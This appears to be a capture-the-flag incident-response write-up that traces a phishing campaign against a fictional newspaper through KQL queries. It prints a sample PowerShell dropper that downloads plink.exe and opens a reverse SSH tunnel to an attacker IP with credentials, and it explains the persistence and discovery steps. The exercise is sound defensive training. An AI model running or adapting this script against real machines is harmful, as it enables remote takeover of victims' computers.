Section 1 - KQL 101

Being a third party unrelated to the Valdorian Times prior to this incident, I decided to scope the organization itself before starting a proper investigation, using the following queries:

Employees
| count

There are 100 active employees in Valdorian Times; broken down by role:

Employees
| summarize count() by role

And finally, sorting by hire date:

Employees
| sort by hire_date

The earliest hire (and the only one of this year 2024) is a Ronnie McLovin, Editorial Intern.

Section 2 - Welcome to Valdoria!

Valdorian Times, ideally, only publishes articles once the Editorial Director gives them their final stamp of approval. Valdorian Times' current and highly esteemed Editorial Director is Nene Leaks, who most people suspect of having something to do with the controversial article (or otherwise been highly irresponsible in their duties to let such an article pass).

After contacting Nene Leaks (the Editorial Director in question), she suggested I ask Newspaper Printer Clark Kent -- the person in charge of printing the paper after the article(s) are approved, and thus the last person who sees the articles before publication.

Clark Kent is distressed; he simply printed the article that was sent to him as he always does; this article was sent by Ronnie McLovin, the sole Editorial Intern and the newest hire (see [1] and [2]). I can't discount the possibility of an insider threat.

Ronnie McLovin confirms they were in charge of the OpEds on the mayoral candidates, but admits to have overslept and never sent the article. After telling Clark Kent of Ronnie's claims, he insists that Ronnie McLovin sent him an email on January 31st, 2024. We can confirm this:

Email
| where timestamp >= datetime(2024-01-31)
| where sender == "ronnie_mclovin@valdoriantimes.news"
and recipient == "clark_kent@valdoriantimes.news"

As claimed by Clark Kent, it was sent by Ronnie McLovin (the email matches down to the domain) and was uploaded to the Valdorian Times' official, internal SharePoint instance.

The file is OpEdFinal_to_print.docx and the subject line emphatises urgency. Ronnie remains adamant that she didn't sent the email and that the OpEd is not her work. Perhaps she is telling the truth.

Section 3 - Plenty of Phish

I was approached by an employee named Sonia Gose after a meeting with the Valdorian Times staff. She told me she had some information that may be relevant to the investigation.

Employees
| where name == "Sonia Gose"

Senior Editor Sonia Gose showed me a suspicious email she received a few weeks ago, on 2024-01-10 at 7:58 AM. The sender was newspaper_jobs@gmail.com, signed by Mike Smith of WeHireJournalists. Its subject line was [EXTERNAL] FW: Invitation to Apply: Lead Political Correspondent. The content of the body is reproduced below:

Hi, Sonia.

We are in search of Multimedia Journalists and we thought your experience was quite impressive. Would you consider applying? Click here to learn more about our open roles.

Sincerely.

Mike Smith
WeHireJournalists

After thanking Sonia Gose for this tip, I check her email logs:

Employees
| where name == "Sonia Gose"
| distinct email_addr
| lookup Email on $left.email_addr == $right.recipient
| where sender == "newspaper_jobs@gmail.com"
or reply_to == "newspaper_jobs@gmail.com"

Interestingly, the date is five days earlier than what Sonia showed me. The URL points the domain promotionrecruit.com and a download for the file Valdorian_Times_Editorial_Offer_Letter.docx. Sonia doesn't remember if she did click the link or not. I can confirm it myself:

Employees
| where name == "Sonia Gose"
| distinct ip_addr
| lookup OutboundNetworkEvents on $left.ip_addr == $right.src_ip
| where url has "promotionrecruit.com"

And so she did; since this screams "phishing email" and "malicious attachment", I decide to investigate what the file could've done on Sonia's computer.

Employees
| where name == "Sonia Gose"
| distinct hostname
| lookup FileCreationEvents on $left.hostname == $right.hostname
| where filename =~ "Valdorian_Times_Editorial_Offer_Letter.docx"

The file was saved to disk on 2024-01-05 at 10:24:04 in the morning, roughly 40 minutes after Sonia first received the email. VirusTotal doesn't return any results for this hash; this does not mean the file is safe.

I decide to check if the file was opened, and if so, check if anything strange happened.

Employees
| where name == "Sonia Gose"
| distinct hostname
| lookup ProcessEvents on $left.hostname == $right.hostname
| where timestamp >= datetime(2024-01-05 10:24:04.0000)
and process_commandline !contains "WindowsApps"

Immediately after Sonia Gose opened the document Valdorian_Times_Editorial_Offer_Letter.docx, a new file was created and executed: hacktivist_manifesto.ps1, a PowerShell script. After some investigation, I found a sample of what said PowerShell script looks like from the inside and is reproduced below; note that some information, such as the attacker's IP address, may not match what was used on the affected Valdorian Times' computers:

1 # Stealth Mode PowerShell Script to Invoke Plink and uncover da truth

[ASCII art expunged]

10 # green is a hackr color
11 $host.UI.RawUI.ForegroundColor = "Green"
12
13 # Define Plink URL and Destination Path
14 $plinkUrl = "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe"
15 $destinationPath = "C:\ProgramData\Temp\pLink.exe”
16
17 # let em know were here
18  Write-Host "lol ur bout 2 get pwnd..." -NoNewline
19 Start-Sleep -Seconds 2
20 Write-Host " Done."
21
22 # download plink and dont even be stealthy about it lol
23 Invoke-WebRequest -Uri $plinkUrl -OutFile $destinationPath
24
25 # make fun of the victim
26 Write-Host “loser haha :P" -NoNewline
27 Start-Sleep -Seconds 2
28  Write-Host " Ready."
29
30 # now run plink and get that juicy hands-on-keyboard babyyyyyyy
31 & $destinationPath -R 3389: localhost:3389 -ssh -1 $had@w -pw thruthW!l1S3tUfree 205.129.146.36

A rundown of what is going on in this code sample and in the previously-uncovered commands run on Sonia's computer (see [8]):

1. The target opens the malicious file.
2. The file drops (i.e creates) another file, a PowerShell script.
3. The PowerShell script is executed without any user interaction beyond having opened the false document in step 1.
4. The PowerShell script downloads and executes plink.exe, a CLI tool by the PuTTY team. As explained in the user guide, it's a tool for remote access to other devices.
5. A scheduled task named Hacktivist Manifesto is created; the PowerShell script is set to execute every 5 hours. This ensures persistence.
6. The PowerShell script is executed with the ExecutionPolicy flag set to Bypass; this means anything and everything will be executed without presenting warnings or prompts to the user. See the official documentation. This prevents the script from being discovered as easily.
7. plink.exe is executed; a SSH connection is created on port 3389 between the attacker's device (IP address 136.130.190.181 in Sonia Gose's case) and the target's; the username is set as $had@w and the password is thruthW!l1S3tUfree [sic].
8. The attacker now has control of the target computer.

In Sonia Gose's case, the attackers immediately ran discovery commands; a throughout examination of the recorded Process Events shows that they quickly lost interest in Sonia Gose, likely looking for bigger (or more exploitable) fish to fry in the Valdorian Times. The discovery commands were:

1. whoami: Displays user, group and privileges information for the user who is currently logged on to the local system. If used without parameters, whoami displays the current domain and user name. [Microsoft Learn].
2. ipconfig: Displays all current TCP/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings. Used without parameters, ipconfig displays Internet Protocol version 4 (IPv4) and IPv6 addresses, subnet mask, and default gateway for all adapters. [Microsoft Learn].
3. arp -a: Displays and modifies entries in the Address Resolution Protocol (ARP) cache. The ARP cache contains one or more tables that are used to store IP addresses and their resolved Ethernet or Token Ring physical addresses. [...] To display the arp cache tables for all interfaces, use arp /a [Microsoft Learn].
4. tasklist /svc: Displays a list of currently running processes on the local computer or on a remote computer. [/svc] [l]ists all the service information for each process without truncation. [Microsoft Learn].
5. net view: Displays a list of domains, computers, or resources that are being shared by the specified computer. Used without parameters, net view displays a list of computers in your current domain. [Microsoft Learn].

Since there is nothing else of interest in Sonia Gose's computer, we must investigate elsewhere. It's highly likely she wasn't the only target within the Valdorian Times.

Section 4 - A Scandal

Before digging deeper into some leads, such as the attacker's IP addresses, I scoped the problem across Valdorian Times:

FileCreationEvents
| where filename =~ "hacktivist_manifesto.ps1"

The hacktivist_manifesto.ps1 file is present across 22 hostnames, 21 distinct (Lead Investigative Reporter Seymour Herst had it dropped twice). The specific employees affected were:

FileCreationEvents
| where filename =~ "hacktivist_manifesto.ps1"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname

And distributed across the following roles:

FileCreationEvents
| where filename =~ "hacktivist_manifesto.ps1"
| distinct hostname
| lookup Employees on $left.hostname == $right.hostname
| summarize count() by role

Among the affected are Editorial Intern Ronnie McLovin and Editorial Director Nene Leaks. Since the article -- not written by Ronnie McLovin by her own admission, and not reviewed and approved by Nene Leaks -- came from Ronnie's email address, it's likely that after the attackers established an SSH tunnel with plink they used Ronnie's accounts and device to plant the article.

Before going any further, I'd like to check what domains and other IP addresses the attacker might've used in their campaign against the Valdorian Times.

PassiveDns
| where ip == "136.130.190.181" //to check what domains are associated with the known IP

PassiveDns
| where ip == "136.130.190.181"
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain //to check what other IPs might be used
| distinct ip

The sole domain is promotion-hire.info. Doing the opposite search reveals that the only IP address used by the attackers in this campaign is 136.130.190.181. However, Sonia Gose got an email with a link to promotionrecruit.com. Surprisingly, PassiveDns returns nothing when looking it up.

Before digging deeper into Ronnie McLovin's system, I wanted to check what other emails there might exist associated with the campaign. I already know 21 distinct employees downloaded the malicious .docx file, but maybe others got emails and never downloaded or opened the file; maybe there are more clues to who the threat actors are.

Email
| where sender == "newspaper_jobs@gmail.com"
or reply_to == "newspaper_jobs@gmail.com"

Most got flagged as suspicious, except--crucially--Sonia Gose's. There is a previously-unseen email address and domain: valdorias_best_recruiter@gmail.com and promotion-recruit.com; the IP address used with plink was previously confirmed to direct to promotion-hire.info, and promotionrecruit.com was from which Sonia Gose downloaded the malicious file. To check if there are any other IPs and/or domains, I run:

Email
| where sender == "newspaper_jobs@gmail.com"
or reply_to == "newspaper_jobs@gmail.com"
| extend domain = tostring(parse_url(link).Host)
| distinct domain
| lookup PassiveDns on $left.domain == $right.domain
| distinct ip

...Which returns nothing, to my surprise. The only IP address in PassiveDns is the one used with plink.

To check what other emails could've been sent from the discovered address:

Email
| where sender == "valdorias_best_recruiter@gmail.com"
or reply_to == "valdorias_best_recruiter@gmail.com"

There are more of the Valdorian Times staff that had been infected with the PowerShell script (see [10]), but not all of them. Note that Ronnie McLovin was contacted by the threat actors with a false job offer on 2024-01-10 at 08:48:16 in the morning. Her malicious attachment is Editorial_J0b_Openings_2024.docx

let bad_domains =
Email
| where sender == "newspaper_jobs@gmail.com"
or reply_to == "newspaper_jobs@gmail.com"
| extend domain = tostring(parse_url(link).Host)
| distinct domain;
Email
| where tostring(parse_url(link).Host) in (bad_domains)

Evidently, the threat actor(s) losing interest in Sonia Gose was more of a fluke than anything. They also took over various employee email accounts and used them to send phishing pages to other Valdorian Times employees.

• Lead Investigative Reporter Ida Tarbell (ida_tarbell@valdoriantimes.news) sends an email to Sports Reporter Jim McKay (jim_mckay@valdoriantimes.news) with the subject Urgent Legal Notice: Lawsuit Filed Against Valorian, with a link to a phishing page
• Director of News Operations Dan Rather (dan_rather@valdoriantimes.news) sends an email to Lead Investigative Reporter Carl Bernstein (carl_bernstein@valdoriantimes.news) and Lead Investigative Reporter Bob Woodward (bob_woodward@valdoriantimes.news) with the subject Fact Check Required: Discrepancies in Recent Report, with a link to a phishing page
• IT Specialist Bill Gates (bill_gates@valdoriantimes.news) sends an email to Sports Reporter Bob Costas (bob_costas@valdoriantimes.news) and Sports Reporter Howard Cosell (howard_cosell@valdoriantimes.news) with the subject line Urgent Legal Notice: Lawsuit Filed Against Valorian, with a link to a phishing page
• Congressional Reporter Tyler Byers (tyler_byers@valdoriantimes.news) sends an email to Lead Investigative Reporter Seymour Hersh (seymour_hersh@valdoriantimes.news) with the subject Fact Check Required: Discrepancies in Recent Report. and a link to a phishing page
• Lead Investigative Reporter Seymour Hersh (seymour_hersh@valdoriantimes.news) sends an email to Sports Reporter Howard Cosell (howard_cosell@valdoriantimes.news) and Sports Reporter Ernie Johnson (ernie_johnson@valdoriantimes.news) with the subject Urgent Legal Notice: Lawsuit Filed Against Valorian
• IT Specialist Steve Jobs (steve_jobs@valdoriantimes.news) sends an email to Sports Reporter Howard Cosell (howard_cosell@valdoriantimes.news) and Sports Reporter Bob Costas (bob_costas@valdoriantimes.news) with the subject Urgent Legal Notice: Lawsuit Filed Against Valorian and a link to a phishing page

There is also a previously-unseen malicious attachment: Stop_Being_So_Broke_Get_Money_Now.docx. Both this and the "Valdorian Times Offer Letter" document exist across 18 distinct computers.

Finally, just to check what other files could've dropped the malicious PowerShell script:

FileCreationEvents
| serialize
| extend next_file = next(filename)
| where next_file endswith ".ps1"
| where filename endswith ".docx"
| sort by timestamp asc

This matches my previous discovery of 21 distinct employee devices being infected with the PowerShell script. As a final check, I wanted to see what the Security Alerts table had flagged, if anything.

SecurityAlerts
| where * contains "Stop_Being_So_Broke_Get_Money_Now.docx"
or * contains "Valdorian_Times_Editorial_Offer_Letter.docx"
or * contains "Editorial_J0b_Openings_2024.docx"
or * contains "newspaper_jobs@gmail.com"
or * contains "valdorias_best_recruiter@gmail.com"

Despite there existing malicious .docx files across 21 distinct devices, only two were quarantined (the hostnames belong to two Directors of News Operations); no security alerts were raised related to the emails themselves (e.g. nobody reported them as suspicious).

Focusing back on Ronnie, we now have evidence that the threat actors have hijacked employee accounts to further steal credentials; it stands to reason that Ronnie's account and device was hijacked with the PowerShell script the purpose of planting a false, unapproved, defamatory article against an up-and-coming political candidate.

ProcessEvents
| where hostname == "A37A-DESKTOP"
and process_commandline !contains "WindowsApps"
and process_commandline !contains "Edge"
and process_commandline !contains "Chrome"
and process_commandline !contains "Firefox"
and process_commandline !contains "System32"
and process_commandline !contains "Teams"
and timestamp >= datetime(2024-01-10)
and timestamp <= datetime(2024-02-01)

Evidently, after obtaining hands-on-keyboard access to Ronnie's device, they proceeded to download a file named fakestory.docx, renamed it to OpEdFinal_to_print.docx and sent it to Clark Kent. A fellow investigator reports that the strange file was seen being downloaded by Ronnie's computer.

Employees
| where name == "Ronnie McLovin"
| distinct ip_addr
| lookup OutboundNetworkEvents on $left.ip_addr == $right.src_ip
| where tostring(parse_path(
    tostring(parse_url(url).Path)
    ).Filename)
    endswith ".docx"

First, Ronnie McLovin downloaded the malicious attachment on Jan. 10th 2024; 21 days later the attackers downloaded the fake story off their own server using their hands-on-keyboard access to Ronnie's computer. As noted previously (see [17]), this file would later be renamed and sent to Clark Kent 45 minutes later (see timestamp at [3]).

Ronnie informs me that she just received an email (2024-02-04) from her preferred dark web monitoring service, informing her of her personal information being leaked and put on sale at hirerecruit.com. Slightly modifying our previous query to account for the new date, we find four new events:

The attackers indiscriminately add Ronnie's files to various password-protected 7zip archives on Jan. 31st, and on Feb. 1st exfiltrate the data to a server under their control. The domain is hirejob.com. The archives were named MyStolenDataFromDocuments.7z, MyStolenDataFromDesktop.7z and DankMemes.7z. To cap off the investigation, we'll do a quick check if anyone else had data exfiltrated within Valdorian Times.

ProcessEvents
| where process_commandline startswith "curl"

The only individual who had their data exfiltrated was Ronnie McLovin.